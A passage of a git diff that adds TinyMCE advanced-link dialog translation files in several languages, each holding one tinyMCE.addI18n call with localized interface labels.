\u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430","link_list":"\u0421\u043f\u0438\u0441\u044a\u043a \u0441 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0438",rtl:"\u041e\u0442\u0434\u044f\u0441\u043d\u043e \u043d\u0430 \u043b\u044f\u0432\u043e",ltr:"\u041e\u0442\u043b\u044f\u0432\u043e \u043d\u0430 \u0434\u044f\u0441\u043d\u043e",accesskey:"\u041a\u043b\u0430\u0432\u0438\u0448",tabindex:"\u041f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u043d\u043e\u0441\u0442",rev:"\u0412\u0437\u0430\u0438\u043c\u043e\u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 \u0446\u0435\u043b - \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430",rel:"\u0412\u0437\u0430\u0438\u043c\u043e\u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 - \u0446\u0435\u043b",mime:"MIME \u0442\u0438\u043f",encoding:"\u041a\u043e\u0434\u0438\u0440\u0430\u043d\u0435 \u043d\u0430 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0442\u0435",langcode:"\u041a\u043e\u0434 \u043d\u0430 \u0435\u0437\u0438\u043a\u0430","target_langcode":"\u0415\u0437\u0438\u043a",width:"\u0428\u0438\u0440\u0438\u043d\u0430",height:"\u0412\u0438\u0441\u043e\u0447\u0438\u043d\u0430"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/ca_dlg.js b/js/tiny_mce/plugins/advlink/langs/ca_dlg.js new file mode 100755 index 0000000..c580f73 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.advlink_dlg',{"target_name":"Nom del dest\u00ed",classes:"Classes",style:"Estil",id:"Id","popup_position":"Posici\u00f3 (X/Y)",langdir:"Direcci\u00f3 de l\'idioma","popup_size":"Mida","popup_dependent":"Dependent (nom\u00e9s Mozilla/Firefox)","popup_resizable":"Fes la finestra redimensionable","popup_location":"Mostra la barra d\'ubicaci\u00f3","popup_menubar":"Mostra la barra de men\u00fa","popup_toolbar":"Mostra la barra d\'eines","popup_statusbar":"Mostra la barra d\'estat","popup_scrollbars":"Mostra les barres de despla\u00e7ament","popup_return":"Insereix \'return false\'","popup_name":"Nom de la finestra","popup_url":"URL de la finestra emergent",popup:"Finestra emergent javascript","target_blank":"Obre en una nova finestra","target_top":"Obre en el marc superior (reempla\u00e7a tots els marcs)","target_parent":"Obre en la finestra / marc pare","target_same":"Obre en aquesta finestra / marc","anchor_names":"\u00c0ncores","popup_opts":"Opcions","advanced_props":"Propietats avan\u00e7ades","event_props":"Esdeveniments","popup_props":"Propietats de la finestra emergent","general_props":"Propietats generals","advanced_tab":"Avan\u00e7at","events_tab":"Esdeveniments","popup_tab":"Finestra emergent","general_tab":"General",list:"Llista d\'enlla\u00e7os","is_external":"L\'URL que heu introdu\u00eft sembla ser un enlla\u00e7 extern, voleu afegir-hi el prefix requerit http:// ?","is_email":"L\'URL que heu introdu\u00eft sembla ser una adre\u00e7a de correu electr\u00f2nic, voleu afegir-hi el prefix requerit mailto: ?",titlefield:"T\u00edtol",target:"Objectiu",url:"URL de l\'enlla\u00e7",title:"Insereix/edita enlla\u00e7","link_list":"Llista d\'enlla\u00e7os",rtl:"De dreta a esquerra",ltr:"D\'esquerra a dreta",accesskey:"Accesskey",tabindex:"Tabindex",rev:"Relaci\u00f3 de dest\u00ed a p\u00e0gina",rel:"Relaci\u00f3 de p\u00e0gina a dest\u00ed",mime:"Tipus MIME del dest\u00ed",encoding:"Codificaci\u00f3 de car\u00e0cters del dest\u00ed",langcode:"Codi de l\'idioma","target_langcode":"Idioma del dest\u00ed",width:"Amplada",height:"Al\u00e7ada"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/cs_dlg.js b/js/tiny_mce/plugins/advlink/langs/cs_dlg.js new file mode 100755 index 0000000..d631229 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.advlink_dlg',{"target_name":"N\u00e1zev c\u00edle",classes:"T\u0159\u00eddy",style:"Styl",id:"ID","popup_position":"Um\u00edst\u011bn\u00ed (X/Y)",langdir:"Sm\u011br textu","popup_size":"Velikost","popup_dependent":"Z\u00e1vislost (pouze Mozilla/Firefox)","popup_resizable":"Umo\u017enit zm\u011bnu velikosti","popup_location":"Zobrazit pole s adresou","popup_menubar":"Zobrazit nab\u00eddku","popup_toolbar":"Zobrazit panel n\u00e1stroj\u016f","popup_statusbar":"Zobrazit stavov\u00fd \u0159\u00e1dek","popup_scrollbars":"Zobrazit posuvn\u00edky","popup_return":"Vlo\u017eit \'return false\'","popup_name":"N\u00e1zev okna","popup_url":"URL vyskakovac\u00edho okna",popup:"Javascriptov\u00e9 okno","target_blank":"Otev\u0159\u00edt v nov\u00e9m okn\u011b/r\u00e1mu","target_top":"Otev\u0159\u00edt v hlavn\u00edm okn\u011b/r\u00e1mu (nahradit v\u0161echny r\u00e1my)","target_parent":"Otev\u0159\u00edt v nad\u0159azen\u00e9m okn\u011b/r\u00e1mu","target_same":"Otev\u0159\u00edt v tomto okn\u011b/r\u00e1mu","anchor_names":"Z\u00e1lo\u017eka","popup_opts":"Mo\u017enosti","advanced_props":"Roz\u0161\u00ed\u0159en\u00e9 parametry","event_props":"Ud\u00e1losti","popup_props":"Vlastnosti vyskakovac\u00edho okna","general_props":"Obecn\u00e9 parametry","advanced_tab":"Roz\u0161\u00ed\u0159en\u00e9","events_tab":"Ud\u00e1losti","popup_tab":"Vyskakovac\u00ed okno","general_tab":"Obecn\u00e9",list:"Seznam odkaz\u016f","is_external":"Zadan\u00e9 URL vypad\u00e1 jako extern\u00ed odkaz, chcete doplnit povinn\u00fd prefix http://?","is_email":"Zadan\u00e9 URL vypad\u00e1 jako e-mailov\u00e1 adresa, chcete doplnit povinn\u00fd prefix mailto:?",titlefield:"Titulek",target:"C\u00edl",url:"URL odkazu",title:"Vlo\u017eit/upravit odkaz","link_list":"Seznam odkaz\u016f",rtl:"Zprava doleva",ltr:"Zleva doprava",accesskey:"Kl\u00e1vesov\u00e1 zkratka",tabindex:"Po\u0159ad\u00ed pro tabul\u00e1tor",rev:"Vztah c\u00edle ke str\u00e1nce",rel:"Vztah str\u00e1nky k c\u00edli",mime:"MIME typ",encoding:"K\u00f3dov\u00e1n\u00ed",langcode:"K\u00f3d jazyka","target_langcode":"Jazyk c\u00edle",width:"\u0160\u00ed\u0159ka",height:"V\u00fd\u0161ka"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/da_dlg.js b/js/tiny_mce/plugins/advlink/langs/da_dlg.js new file mode 100755 index 0000000..06f7fe3 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.advlink_dlg',{"target_name":"Destinationsnavn",classes:"Klasser",style:"Stil",id:"Id","popup_position":"Position (X/Y)",langdir:"Sprogretning","popup_size":"St\u00f8rrelse","popup_dependent":"Afh\u00e6ngig (Kun Mozilla/Firefox)","popup_resizable":"Lad det v\u00e6re muligt at \u00e6ndre st\u00f8rrelsen p\u00e5 vinduet","popup_location":"Vis adresselinje","popup_menubar":"Vis menulinje","popup_toolbar":"Vis v\u00e6rkt\u00f8jslinjer","popup_statusbar":"Vis statuslinje","popup_scrollbars":"Vis rullepanel","popup_return":"Inds\u00e6t \'return false\'","popup_name":"Vinduesnavn","popup_url":"Popup URL",popup:"Javascript popup","target_blank":"\u00c5ben i nyt vindue","target_top":"\u00c5ben i \u00f8verste vindue / ramme (erstatter alle rammer)","target_parent":"\u00c5ben i overliggende vindue / ramme","target_same":"\u00c5ben i dette vindue / ramme","anchor_names":"Ankre","popup_opts":"Indstillinger","advanced_props":"Avancerede egenskaber","event_props":"H\u00e6ndelser","popup_props":"Popup egenskaber","general_props":"Generelle egenskaber","advanced_tab":"Advanceret","events_tab":"H\u00e6ndelser","popup_tab":"Popup","general_tab":"Generelt",list:"Liste over links","is_external":"Den URL, der er indtastet, ser ud til at v\u00e6re et eksternt link. Vil du have tilf\u00f8jet det p\u00e5kr\u00e6vede http:// foran?","is_email":"Den URL, der er indtastet, ser ud til at v\u00e6re en emailadresse. Vil du have tilf\u00f8jet det p\u00e5kr\u00e6vede mailto: foran?",titlefield:"Titel",target:"M\u00e5l",url:"Link URL",title:"Inds\u00e6t/rediger link","link_list":"Liste over links",rtl:"H\u00f8jre mod venstre",ltr:"Venstre mod h\u00f8jre",accesskey:"Genvejstast",tabindex:"Tabindex",rev:"Relativ destination til side",rel:"Relativ side til destination",mime:"Destinations-MIME-type",encoding:"Destinationstegns\u00e6t",langcode:"Sprogkode","target_langcode":"Destinationssprog",width:"Bredde",height:"H\u00f8jde"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/de_dlg.js b/js/tiny_mce/plugins/advlink/langs/de_dlg.js new file mode 100755 index 0000000..bb0d3e3 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.advlink_dlg',{"target_name":"Name der Zielseite",classes:"Klassen",style:"Format",id:"ID","popup_position":"Position (X/Y)",langdir:"Schriftrichtung","popup_size":"Gr\u00f6\u00dfe","popup_dependent":"Vom Elternfenster abh\u00e4ngig
    (nur Mozilla/Firefox) ","popup_resizable":"Vergr\u00f6\u00dfern des Fenster zulassen","popup_location":"Adressleiste anzeigen","popup_menubar":"Browsermen\u00fc anzeigen","popup_toolbar":"Werkzeugleisten anzeigen","popup_statusbar":"Statusleiste anzeigen","popup_scrollbars":"Scrollbalken anzeigen","popup_return":"Link trotz Popup folgen","popup_name":"Name des Fensters","popup_url":"Popup-Adresse",popup:"JavaScript-Popup","target_blank":"In neuem Fenster \u00f6ffnen","target_top":"Im obersten Frame \u00f6ffnen (sprengt das Frameset)","target_parent":"Im \u00fcbergeordneten Fenster/Frame \u00f6ffnen","target_same":"Im selben Fenster/Frame \u00f6ffnen","anchor_names":"Anker","popup_opts":"Optionen","advanced_props":"Erweiterte Eigenschaften","event_props":"Ereignisse","popup_props":"Popup-Eigenschaften","general_props":"Allemeine Eigenschaften","advanced_tab":"Erweitert","events_tab":"Ereignisse","popup_tab":"Popup","general_tab":"Allgemein",list:"Linkliste","is_external":"Diese Adresse scheint ein externer Link zu sein. M\u00f6chten Sie das dazu ben\u00f6tigte \"http://\" voranstellen?","is_email":"Diese Adresse scheint eine E-Mail-Adresse zu sein. M\u00f6chten Sie das dazu ben\u00f6tigte \"mailto:\" voranstellen?",titlefield:"Titel",target:"Fenster",url:"Adresse",title:"Link einf\u00fcgen/bearbeiten","link_list":"Linkliste",rtl:"Rechts nach links",ltr:"Links nach rechts",accesskey:"Tastenk\u00fcrzel",tabindex:"Tabindex",rev:"Beziehung des Linkziels zur Seite",rel:"Beziehung der Seite zum Linkziel",mime:"MIME-Type der Zielseite",encoding:"Zeichenkodierung der Zielseite",langcode:"Sprachcode","target_langcode":"Sprache der Zielseite",width:"Breite",height:"H\u00f6he"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/el_dlg.js b/js/tiny_mce/plugins/advlink/langs/el_dlg.js new file mode 100755 index 0000000..79e4ae7 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.advlink_dlg',{"target_name":"\u038c\u03bd\u03bf\u03bc\u03b1 \u03c3\u03c4\u03cc\u03c7\u03bf\u03c5",classes:"\u039a\u03bb\u03ac\u03c3\u03b5\u03b9\u03c2",style:"\u03a3\u03c4\u03c5\u03bb",id:"Id","popup_position":"\u0398\u03ad\u03c3\u03b7 (X/Y)",langdir:"\u039a\u03b1\u03c4\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7 \u03b3\u03bb\u03ce\u03c3\u03c3\u03b1\u03c2","popup_size":"\u039c\u03ad\u03b3\u03b5\u03b8\u03bf\u03c2","popup_dependent":"\u0395\u03be\u03b1\u03c1\u03c4\u03ce\u03bc\u03b5\u03bd\u03bf (\u03bc\u03cc\u03bd\u03bf \u03b3\u03b9\u03b1 Mozilla/Firefox)","popup_resizable":"\u039d\u03b1 \u03b1\u03bb\u03bb\u03ac\u03b6\u03bf\u03c5\u03bd \u03bf\u03b9 \u03b4\u03b9\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2 \u03c4\u03bf\u03c5 \u03c0\u03b1\u03c1\u03b1\u03b8\u03cd\u03c1\u03bf\u03c5","popup_location":"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2 \u03c4\u03bf\u03c0\u03bf\u03b8\u03b5\u03c3\u03af\u03b1\u03c2","popup_menubar":"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7 \u03bc\u03b5\u03bd\u03bf\u03cd","popup_toolbar":"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ce\u03bd \u03b5\u03c1\u03b3\u03b1\u03bb\u03b5\u03af\u03c9\u03bd","popup_statusbar":"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2 \u03ba\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7\u03c2","popup_scrollbars":"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7 \u03c1\u03ac\u03b2\u03b4\u03c9\u03bd \u03ba\u03cd\u03bb\u03b9\u03c3\u03b7\u03c2","popup_return":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \'return false\'","popup_name":"\u038c\u03bd\u03bf\u03bc\u03b1 \u03c0\u03b1\u03c1\u03b1\u03b8\u03cd\u03c1\u03bf\u03c5","popup_url":"\u0394\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae URL \u03c4\u03bf\u03c5 Popup",popup:"Javascript popup","target_blank":"\u0386\u03bd\u03bf\u03b9\u03b3\u03bc\u03b1 \u03c3\u03b5 \u03bd\u03ad\u03bf \u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf","target_top":"\u0386\u03bd\u03bf\u03b9\u03b3\u03bc\u03b1 \u03c3\u03c4\u03bf \u03c0\u03b9\u03bf \u03c0\u03ac\u03bd\u03c9 frame (\u03b1\u03bd\u03c4\u03b9\u03ba\u03b1\u03b8\u03b9\u03c3\u03c4\u03ac \u03cc\u03bb\u03b1 \u03c4\u03b1 frames)","target_parent":"\u0386\u03bd\u03bf\u03b9\u03b3\u03bc\u03b1 \u03c3\u03c4\u03bf \u03b3\u03bf\u03bd\u03b9\u03ba\u03cc window / frame","target_same":"\u0386\u03bd\u03bf\u03b9\u03b3\u03bc\u03b1 \u03c3\u03b5 \u03af\u03b4\u03b9\u03bf \u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf / frame","anchor_names":"Anchors","popup_opts":"\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ad\u03c2","advanced_props":"\u03a0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03b5\u03c2 \u03b9\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2","event_props":"\u0393\u03b5\u03b3\u03bf\u03bd\u03cc\u03c4\u03b1","popup_props":"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 Popup","general_props":"\u0393\u03b5\u03bd\u03b9\u03ba\u03ad\u03c2 \u03b9\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2","advanced_tab":"\u0393\u03b9\u03b1 \u03c0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03bf\u03c5\u03c2","events_tab":"\u0393\u03b5\u03b3\u03bf\u03bd\u03cc\u03c4\u03b1","popup_tab":"Popup","general_tab":"\u0393\u03b5\u03bd\u03b9\u03ba\u03ac",list:"\u039b\u03af\u03c3\u03c4\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03c9\u03bd","is_external":"\u0397 \u03b4\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae URL \u03c0\u03bf\u03c5 \u03b5\u03b9\u03c3\u03ac\u03b3\u03b1\u03c4\u03b5 \u03c6\u03b1\u03af\u03bd\u03b5\u03c4\u03b1\u03b9 \u03bd\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b5\u03be\u03c9\u03c4\u03b5\u03c1\u03b9\u03ba\u03cc\u03c2 \u03c3\u03cd\u03bd\u03b4\u03b5\u03c3\u03bc\u03bf\u03c2, \u03bd\u03b1 \u03c0\u03c1\u03bf\u03c3\u03c4\u03b5\u03b8\u03b5\u03af \u03c4\u03bf \u03b1\u03c0\u03b1\u03c1\u03b1\u03af\u03c4\u03b7\u03c4\u03bf http:// ;","is_email":"\u0397 \u03b4\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae URL \u03c0\u03bf\u03c5 \u03b5\u03b9\u03c3\u03ac\u03b3\u03b1\u03c4\u03b5 \u03c6\u03b1\u03af\u03bd\u03b5\u03c4\u03b1\u03b9 \u03bd\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 email, \u03bd\u03b1 \u03c0\u03c1\u03bf\u03c3\u03c4\u03b5\u03b8\u03b5\u03af \u03c4\u03bf \u03b1\u03c0\u03b1\u03c1\u03b1\u03af\u03c4\u03b7\u03c4\u03bf mailto: ;",titlefield:"\u03a4\u03af\u03c4\u03bb\u03bf\u03c2",target:"\u03a3\u03c4\u03cc\u03c7\u03bf\u03c2",url:"\u0394\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae URL \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5",title:"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5","link_list":"\u039b\u03af\u03c3\u03c4\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03c9\u03bd",rtl:"\u0394\u03b5\u03be\u03b9\u03ac \u03c0\u03c1\u03bf\u03c2 \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac",ltr:"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac \u03c0\u03c1\u03bf\u03c2 \u03b4\u03b5\u03be\u03b9\u03ac",accesskey:"\u03a0\u03bb\u03ae\u03ba\u03c4\u03c1\u03bf \u03c0\u03c1\u03cc\u03c3\u03b2\u03b1\u03c3\u03b7\u03c2",tabindex:"Tabindex",rev:"\u03a3\u03c7\u03ad\u03c3\u03b7 \u03c3\u03c4\u03cc\u03c7\u03bf\u03c5 \u03c0\u03c1\u03bf\u03c2 \u03c3\u03b5\u03bb\u03af\u03b4\u03b1 (REV)",rel:"\u03a3\u03c7\u03ad\u03c3\u03b7 \u03c3\u03b5\u03bb\u03af\u03b4\u03b1\u03c2 \u03c0\u03c1\u03bf\u03c2 \u03c3\u03c4\u03cc\u03c7\u03bf (REL)",mime:"\u03a4\u03cd\u03c0\u03bf\u03c2 MIME \u03c3\u03c4\u03cc\u03c7\u03bf\u03c5",encoding:"\u039a\u03c9\u03b4\u03b9\u03ba\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03c9\u03bd \u03c3\u03c4\u03cc\u03c7\u03bf\u03c5",langcode:"\u039a\u03c9\u03b4\u03b9\u03ba\u03cc\u03c2 \u03b3\u03bb\u03ce\u03c3\u03c3\u03b1\u03c2","target_langcode":"\u0393\u03bb\u03ce\u03c3\u03c3\u03b1 \u03c3\u03c4\u03cc\u03c7\u03bf\u03c5",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/en_dlg.js b/js/tiny_mce/plugins/advlink/langs/en_dlg.js new file mode 100755 index 0000000..3169a56 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.advlink_dlg',{"target_name":"Target Name",classes:"Classes",style:"Style",id:"ID","popup_position":"Position (X/Y)",langdir:"Language Direction","popup_size":"Size","popup_dependent":"Dependent (Mozilla/Firefox Only)","popup_resizable":"Make Window Resizable","popup_location":"Show Location Bar","popup_menubar":"Show Menu Bar","popup_toolbar":"Show Toolbars","popup_statusbar":"Show Status Bar","popup_scrollbars":"Show Scrollbars","popup_return":"Insert \'return false\'","popup_name":"Window Name","popup_url":"Popup URL",popup:"JavaScript Popup","target_blank":"Open in New Window","target_top":"Open in Top Frame (Replaces All Frames)","target_parent":"Open in Parent Window/Frame","target_same":"Open in This Window/Frame","anchor_names":"Anchors","popup_opts":"Options","advanced_props":"Advanced Properties","event_props":"Events","popup_props":"Popup Properties","general_props":"General Properties","advanced_tab":"Advanced","events_tab":"Events","popup_tab":"Popup","general_tab":"General",list:"Link List","is_external":"The URL you entered seems to be an external link. Do you want to add the required http:// prefix?","is_email":"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?",titlefield:"Title",target:"Target",url:"Link URL",title:"Insert/Edit Link","link_list":"Link List",rtl:"Right to Left",ltr:"Left to Right",accesskey:"AccessKey",tabindex:"TabIndex",rev:"Relationship Target to Page",rel:"Relationship Page to Target",mime:"Target MIME Type",encoding:"Target Character Encoding",langcode:"Language Code","target_langcode":"Target Language",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/es_dlg.js b/js/tiny_mce/plugins/advlink/langs/es_dlg.js new file mode 100755 index 0000000..2f48a37 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.advlink_dlg',{"target_name":"Nombre del Target",classes:"Clases",style:"Estilo",id:"Id","popup_position":"Posici\u00f3n (X/Y)",langdir:"Direcci\u00f3n del lenguaje","popup_size":"Tama\u00f1o","popup_dependent":"Dependientes (s\u00f3lo Mozilla/Firefox)","popup_resizable":"Permitir cambiar el tama\u00f1o de la ventana","popup_location":"Barra de localizaci\u00f3n","popup_menubar":"Barra de men\u00fa","popup_toolbar":"Barra de herramientas","popup_statusbar":"Barra de estado","popup_scrollbars":"Barras de desplazamiento","popup_return":"Insertar \'return false\'","popup_name":"Nombre de la ventana","popup_url":"URL de la ventana emergente",popup:"Javascript popup","target_blank":"Abrir en ventana nueva","target_top":"Abrir en el marco superior (reemplaza todos los marcos)","target_parent":"Abrir en ventana padre / marco","target_same":"Abrir en esta ventana / marco","anchor_names":"Anclas","popup_opts":"Opciones","advanced_props":"Propiedades avanzadas","event_props":"Eventos","popup_props":"Propiedades de ventanas emergentes","general_props":"Propiedades generales","advanced_tab":"Avanzado","events_tab":"Eventos","popup_tab":"Ventana emergente","general_tab":"General",list:"Lista de v\u00ednculos","is_external":"La URL que ha introducido parece ser un v\u00ednculo externo, \u00bfdesea agregar el prefijo http:// necesario?","is_email":"La URL que ha introducido parece ser una direci\u00f3n de correo, \u00bfdesea agregar el prefijo mailto: necesario?",titlefield:"T\u00edtulo",target:"Destino",url:"URL del hiperv\u00ednculo",title:"Insertar/editar hiperv\u00ednculo","link_list":"Lista de v\u00ednculo",rtl:"Derecha a izquierda",ltr:"Izquierda a derecha",accesskey:"Tecla de acceso",tabindex:"Indice de tabulaci\u00f3n",rev:"Relaci\u00f3n target a p\u00e1gina",rel:"Relaci\u00f3n p\u00e1gina a target",mime:"Tipo MIME del Target",encoding:"Codificaci\u00f3n de caracteres del Target",langcode:"C\u00f3digo del lenguaje","target_langcode":"Lenguaje del Target",width:"Ancho",height:"Alto"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/et_dlg.js b/js/tiny_mce/plugins/advlink/langs/et_dlg.js new file mode 100755 index 0000000..f8431bd --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.advlink_dlg',{"target_name":"Sihtm\u00e4rgi nimi",classes:"Klassid",style:"Stiil",id:"ID","popup_position":"Positsioon (X/Y)",langdir:"Keele suund","popup_size":"Suurus","popup_dependent":"S\u00f5ltuv (ainult Mozilla/Firefox)","popup_resizable":"Muuda akna suurus muudetavaks","popup_location":"N\u00e4ita asukohariba","popup_menubar":"N\u00e4ita men\u00fc\u00fcriba","popup_toolbar":"N\u00e4ita seadistusriba","popup_statusbar":"N\u00e4ita staatuse riba","popup_scrollbars":"N\u00e4ita kerimisribasid","popup_return":"Sisesta \'tagasiminek eba\u00f5nnestus\'","popup_name":"Akna nimi","popup_url":"Pop-up\u2019i URL",popup:"Javascript\u2019i pop-up","target_blank":"Ava uues aknas","target_top":"Ava k\u00f5rgeimas raamis (asenda k\u00f5ik raamid)","target_parent":"Ava pea-aknas/raamis","target_same":"Ava selles aknas/raamis","anchor_names":"Ankrud","popup_opts":"Valikud","advanced_props":"\u00dcldised seadistused","event_props":"S\u00fcndmused","popup_props":"Pop-up\u2019i seadistus","general_props":"\u00dcldised seadistused","advanced_tab":"P\u00f5hjalikum","events_tab":"S\u00fcndmused","popup_tab":"Pop-up","general_tab":"\u00dcldine",list:"Linkide nimekiri","is_external":"URL, mille sisestasid, tundub olevat v\u00e4line link, kas soovid sellele lisada http://?","is_email":" URL, mille sisestasid, tundub olevat e-posti aadress, kas soovid sellele lisada mailto: funktsiooni?",titlefield:"Pealkiri",target:"Sihtm\u00e4rk",url:" URL\u2019i link",title:"Sisesta muuda linki","link_list":"Linkide list",rtl:"Paremalt vasakule",ltr:"Vasakult paremale",accesskey:"Ligip\u00e4\u00e4suklahv",tabindex:"Sisujuht",rev:"Seo sihtm\u00e4rk lehega",rel:"Seo leht sihtm\u00e4rgiga",mime:"M\u00e4rgista MIME t\u00fc\u00fcp",encoding:"Sihtm\u00e4rgi kodeering",langcode:"Keele kood","target_langcode":"Sihtm\u00e4rgi keel",width:"Laius",height:"K\u00f5rgus"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/fa_dlg.js b/js/tiny_mce/plugins/advlink/langs/fa_dlg.js new file mode 100755 index 0000000..6b5ed88 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.advlink_dlg',{"target_name":"\u0646\u0627\u0645 \u0645\u0642\u0635\u062f (Target)",classes:"\u06a9\u0644\u0627\u0633 \u0647\u0627",style:"\u0627\u0633\u062a\u06cc\u0644",id:"\u0634\u0646\u0627\u0633\u0647","popup_position":"\u0645\u0648\u0642\u0639\u06cc\u062a (X/Y)",langdir:"\u062c\u0647\u062a \u0632\u0628\u0627\u0646","popup_size":"\u0627\u0646\u062f\u0627\u0632\u0647","popup_dependent":"\u0648\u0627\u0628\u0633\u062a\u0647 (\u0641\u0642\u0637 Mozilla/Firefox)","popup_resizable":"\u0627\u06cc\u062c\u0627\u062f \u067e\u0646\u062c\u0631\u0647 \u0642\u0627\u0628\u0644 \u0627\u0646\u062f\u0627\u0632\u0647 \u0628\u0646\u062f\u06cc \u0645\u062c\u062f\u062f","popup_location":"\u0646\u0645\u0627\u06cc\u0634 \u0646\u0648\u0627\u0631 \u0645\u06a9\u0627\u0646","popup_menubar":"\u0646\u0645\u0627\u06cc\u0634 \u0646\u0648\u0627\u0631 \u0645\u0646\u0648","popup_toolbar":"\u0646\u0645\u0627\u06cc\u0634 \u0646\u0648\u0627\u0631 \u0627\u0628\u0632\u0627\u0631","popup_statusbar":"\u0646\u0645\u0627\u06cc\u0634 \u0646\u0648\u0627\u0631 \u0648\u0636\u0639\u06cc\u062a","popup_scrollbars":"\u0646\u0645\u0627\u06cc\u0634 \u0646\u0648\u0627\u0631 \u067e\u06cc\u0645\u0627\u06cc\u0634 \u0647\u0627","popup_return":"\u062f\u0631\u062c \'return false\'","popup_name":"\u0646\u0627\u0645 \u067e\u0646\u062c\u0631\u0647","popup_url":"URL \u067e\u0646\u062c\u0631\u0647 \u0628\u0627\u0632\u0634\u0648 (Popup)",popup:"\u067e\u0646\u062c\u0631\u0647 \u0628\u0627\u0632\u0634\u0648\u06cc Javascript","target_blank":"\u0628\u0627\u0632\u0634\u062f\u0646 \u062f\u0631 \u067e\u0646\u062c\u0631\u0647 \u062c\u062f\u06cc\u062f","target_top":"\u0628\u0627\u0632\u0634\u062f\u0646 \u062f\u0631 \u0642\u0627\u0628 \u0628\u0627\u0644\u0627 (Top Frame) (\u062a\u0645\u0627\u0645\u06cc \u0642\u0627\u0628 \u0647\u0627 \u0631\u0627 \u062a\u0639\u0648\u06cc\u0636 \u0645\u06cc \u06a9\u0646\u062f)","target_parent":"\u0628\u0627\u0632\u0634\u062f\u0646 \u062f\u0631 \u067e\u0646\u062c\u0631\u0647 / \u0642\u0627\u0628 \u0648\u0627\u0644\u062f (Parent Frame)","target_same":"\u0628\u0627\u0632\u0634\u062f\u0646 